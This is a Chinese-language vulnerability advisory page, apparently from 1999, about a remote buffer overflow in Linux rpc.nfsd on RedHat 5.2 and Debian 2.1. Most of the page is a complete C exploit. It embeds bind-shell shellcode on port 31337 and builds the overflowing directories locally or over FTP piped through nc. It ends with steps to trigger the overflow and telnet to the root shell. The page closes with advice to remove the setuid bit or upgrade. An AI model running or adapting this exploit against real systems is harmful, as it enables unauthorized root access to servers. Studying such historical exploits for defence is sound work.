首页 -> 安全研究
安全研究
安全漏洞
Linux nfsd 远程溢出漏洞
发布日期:1999-11-09
更新日期:1999-11-10
受影响系统:
Linux不受影响系统:
Debian Linux 2.1
RedHat Linux 5.2
Debian Linux 2.2.0描述:
RedHat Linux 6.0.0
在Debian Linux 2.1 和 RedHat Linux 5.2的nfsd中在远程溢出漏洞。当此漏洞在新的版本中被修复时,厂家并没有将此漏洞公布。漏洞产生的原因是在安装的nfs共享中删除一个长目录时,没有检查要删除的目录名的长度,因而产生缓存溢出问题,此漏洞可以造成以root权限在nfs服务器中执行任意代码。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* rpc.nfsd2 exploit for Linux
*
* today is 4/07/99 (3 months after 1st version;)
*
* changes in v.2:
* That version can be used for FULL remote exploiting, I changed/added
* two important things:
* - new shellcode: sh on defined port
* - creating dirs via ftp
* Now you can hack box remotely if you have +w via ftp.
* (./3nfsd2 -e /home/ftp/incoming -f /incoming) | nc target 21
*
* author: tmoggie
* greetz:
* DiGiT - bug
* maxiu - help with shellcode
* lam3rZ GrP - :)
*
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#define green "\E[32m"
#define bold "\E[1m"
#define normal "\E[m"
#define red "\E[31m"
char shell[255] =
"\xeb\x70\x31\xc9\x31\xdb\x31\xc0\xb0\x46\xcd\x80\x5e\x83\xc6\x0f\x89\x46"
"\x10\x89\x46\x14\x89\x46\x18\xb0\x02\x89\x06\x89\x46\x0c\xb0\x06\x89\x46"
"\x08\x31\xc0\xfe\xc3\x89\x5e\x04\xb0\x66\x89\xf1\xcd\x80\x89\x06\xb0\x30"
"\x31\xdb\x31\xc9\xb3\x0e\xfe\xc1\xcd\x80\x66\xb8\x69\x7a\x86\xc4\x66\x89"
"\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\xb0\x10\x89\x46\x08\xb0\x66\x31"
"\xdb\xb3\x02\x89\xf1\xcd\x80\x31\xc0\xfe\xc0\x89\x46\x04\xb0\x66\xb3\x04"
"\x89\xf1\xcd\x80\xeb\x04\xeb\x60\xeb\x8c\x89\x46\x0c\x8d\x46\x0c\x89\x46"
"\x04\x89\x46\x08\xc6\x46\x0c\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xf1"
"\xcd\x80\x83\xee\x0f\x89\xc3\x31\xc9\x89\x4e\x14\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xfe\x06\xfe\x46\x04\x88\x66\x07\x88\x66"
"\x0b\x89\x76\x0c\x8d\x46\x09\x89\x46\x10\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x0c\x8d\x56\x10\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\xe8\x9b\xff\xff";
char next[] = "\xff\x2e\x62\x69\x6e\x2e\x73\x68\x41\x41\x2d\x69";
char mark[] = "\xff\xff\xff";
int port = 31337;
int offset;
void usage(char *prog) {
printf("\nusage: %s <-e dir> [-t target] [-s port] "
"[-f dir] [-u user] [-p pass]\n\n",prog);
printf(" -e dir : real-path to exported direectory\n");
printf(" -t target : target OS\n ");
printf(" 1 - RH 5.2 (default) \n"
" 2 - Debian 2.1\n");
printf(" -s port : shell port, default is 31337\n");
printf(" -f dir : ftp-path to exported directory\n");
printf(" -u : ftp username (default is ftp)\n");
printf(" -p : ftp password (default is ftp@ftp.org\n\n");
exit(0);
}
void main(int argc, char **argv) {
int i,j;
int ftp=0;
char user[255]="ftp";
char pass[255]="ftp@ftp.org";
char buf[4096];
char buf2[4096];
char tmp[4096];
char tmp2[4096];
char exp[255] = "!";
char exp2[255]= "!";
char addr[] = "\x06\xf6\xff\xff\xbf";
while (1) {
i = getopt(argc,argv,"t:e:s:f:u:p:");
if (i == -1) break;
switch (i) {
case 'e': strcpy(exp,optarg); break;
case 's': port = optarg; break;
case 'f': strcpy(exp2,optarg); ftp = 1; break;
case 'u': strcpy(user,optarg); break;
case 'p': strcpy(pass,optarg); break;
case 't': switch (j=atoi(optarg)) {
case 1: strcpy(addr,"\x06\xf6\xff\xff\xbf");
break; // debian 1.2
case 2: strcpy(addr,"\x18\xf6\xff\xff\xbf");
break; // rh 5.2
}
default : usage(argv[0]); break;
}
}
if (!strcmp(exp,"!")) usage(argv[0]);
if (ftp == 1) {
// sockets, resolve, connect......
}
*((unsigned short *) (shell + 66)) = port;
offset = strlen(exp);
if (exp[offset-1] != '/') strcat(exp,"/");
offset = strlen(exp);
// 1st directory
bzero(buf,sizeof(buf));
memset(tmp,'A',255);
tmp[255]='/';
tmp[256]='\0';
strncpy(buf,exp,offset);
// make our dirs
if (ftp == 1) {
printf("USER %s\n",user);
printf("PASS %s\n",pass);
printf("CWD %s\n",exp2);
}
for (i=1;i<=3;i++) {
strncat(buf,tmp,strlen(tmp));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuck! can't create directory!!! : %d\n%s\n"normal,i,buf);
exit(-1);
}
} else {
tmp[255]='\0';
printf("MKD %s\n",tmp);
printf("CWD %s\n",tmp);
}
}
// offset direcory, length depends on real-path
memset(tmp,'A',255);
tmp[255-offset]='/';
tmp[256-offset]='\0';
strncat(buf,tmp,strlen(tmp));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
exit(-1);
}
} else {
tmp[255-offset]='\0';
printf("MKD %s\n",tmp);
printf("CWD %s\n",tmp);
}
// shell directory
memset(tmp,'x',255);
// printf("%d\n", strlen(shell));
if (ftp == 1) strncat(shell,mark,strlen(mark));
// printf("%d\n", strlen(shell));
strncat(shell,next,strlen(next));
if (ftp == 1) i=3; else i=0;
strcpy(tmp+(255+i-strlen(shell)),shell);
// printf("%d\n", strlen(shell));
strncat(buf,tmp,strlen(tmp));
strncat(buf,"/",strlen("/"));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuck!@# shell-dir\n%s\n"normal, buf);
exit(-1);
}
} else {
tmp[258]='\0';
printf("MKD %s\n",tmp);
printf("CWD %s\n",tmp);
}
// addr direcotry
memset(tmp,'a',255);
tmp[97] = '\0';
// *((int*)(tmp+93)) = addr;
// if (ftp != 1) *((int*)(tmp+93)) = 0xbffff606; // debian 2.1
// else {
strcpy(tmp+93,addr);
// }
strncat(buf,tmp,strlen(tmp));
if (ftp != 1) {
if (mkdir(buf,0777) < 0) {
printf(red"...fuck!@#!@#!$ addrez-dir ^\n%s\n"normal, buf);
exit(-1);
}
} else {
printf("MKD %s\n",tmp);
printf("quit\n",tmp);
}
fprintf(stderr,normal green"Ok\n"normal);
fprintf(stderr,"now you have to do: "bold green \
"rm -rf /path-to-mount-point/A[tab] & \n"
"and: telnet target %d\n\n"normal,port);
}
建议:
临时的解决办法可以去掉nfsd的setuid位,或者停掉nfsd服务。
彻底的解决办法是升级nfsd到最新的版本。
浏览次数:8705
严重程度:0(网友投票)
绿盟科技给您安全的保障